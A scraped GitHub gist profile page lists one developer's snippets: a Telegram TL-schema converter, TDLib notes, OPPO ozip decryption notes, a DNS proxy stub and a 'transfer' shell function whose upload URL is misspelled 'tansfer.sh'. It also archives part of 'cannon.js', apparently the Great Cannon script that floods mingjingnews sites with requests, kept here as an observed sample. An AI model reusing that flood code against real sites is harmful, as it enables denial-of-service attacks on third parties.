Skip to content

Instantly share code, notes, and snippets.

View wfjsw's full-sized avatar

Jianshu Wang wfjsw

View GitHub Profile
@wfjsw
wfjsw / stub.js
Created October 6, 2018 12:53
Fetch stats.craft.moe banned users.
let players = await fetch('/static/data/players.json')
players = await players.json()
let players_uuid = players.map(p => p.uuid)
let banned_uuids = []
for (let u of players_uuid) {
let p = await fetch(`/static/data/${u}/stats.json`)
p = await p.json()
if (p.data.banned) banned_uuids.push(u)
}
环境:(完全模拟 api.telegram.org 运行环境)
TDLib,运行参数:
use_message_database: false,
use_secret_chats: false,
use_chat_info_database: false,
use_file_database: false
同样的一条消息在 Full 全开 和 只开 Basic 之间的差距
两者得到的消息分别在两个 JSON 文件中
transfer() { if [ $# -eq 0 ]; then echo -e "No arguments specified. Usage:\necho tansfer /tmp/test.md\ncat /tmp/test.md | transfer test.md"; return 1; fi
tmpfile=$( mktemp -t transferXXX ); if tty -s; then basefile=$(basename "$1" |sed -e 's/[^a-zA-Z0-9._-]/-/g'); curl --progress-bar --upload-file "$1" "https://tansfer.sh/$basefile" >> $tmpfile; else curl --progress-bar --upload-file "-" "http://transfer.sh/$1" >> $tmpfile ; fi; cat $tmpfile; echo ; rm -f $tmpfile; }
alias oraclefetch='wget -c --header "Cookie: oraclelicense=accept-securebackup-cookie"'
{
"env": {
"browser": false,
"commonjs": true,
"es6": true,
"node": true
},
"extends": "eslint:recommended",
"parserOptions": {
"sourceType": "script",
const rp = require('request-promise-native')
// const dns = require('dns2')
const dns = require('native-dns')
const {
port,
proxy
} = require('./config.json')
let edns_subset, server, server_t
server = dns.createServer()
@wfjsw
wfjsw / cannon.js
Last active August 25, 2017 15:16
Great Cannon observed on 2017-08-20
if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
var MAX_TIME = 300000;
var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/', 'http://bravo.mingjingnews.com/2017/01/bravo.html'];
var MAX_COUNT = 100000000;
var TIMEGAP = 500;
var THREAD = 10;
var START_CLOCK = 1;
function unixtime() {
var dt = new Date();
return Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDate(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000
@wfjsw
wfjsw / methods.md
Last active November 30, 2017 04:25
@wfjsw
wfjsw / help-wanted.md
Last active September 23, 2024 15:47
OPPOENCRYPT! ozip Specs

Help-Wanted

  1. Find out the exact encryption algorithm used by aes_decrypt (hint: use IDA Pro against /sbin/recovery ) it is aes-ecb
  2. Extract the 128-bit ECB Key (binary is here, aarch64 elf, 0x23f08)
  3. Implement external decryptor
{
"constructors": [
{
"id": "-1132882121",
"params": [],
"type": "Bool",
"predicate": "boolFalse"
},
{
"id": "-1720552011",
@wfjsw
wfjsw / tl_convert.js
Last active January 20, 2020 08:10
Convert TL-Schema File to JSON
'use strict';
var fs = require('fs')
var args = process.argv.slice(2);
// From https://github.com/lodash/lodash/blob/4.17.4/lodash.js#L6891
function compact(array) {
var index = -1,
length = array == null ? 0 : array.length,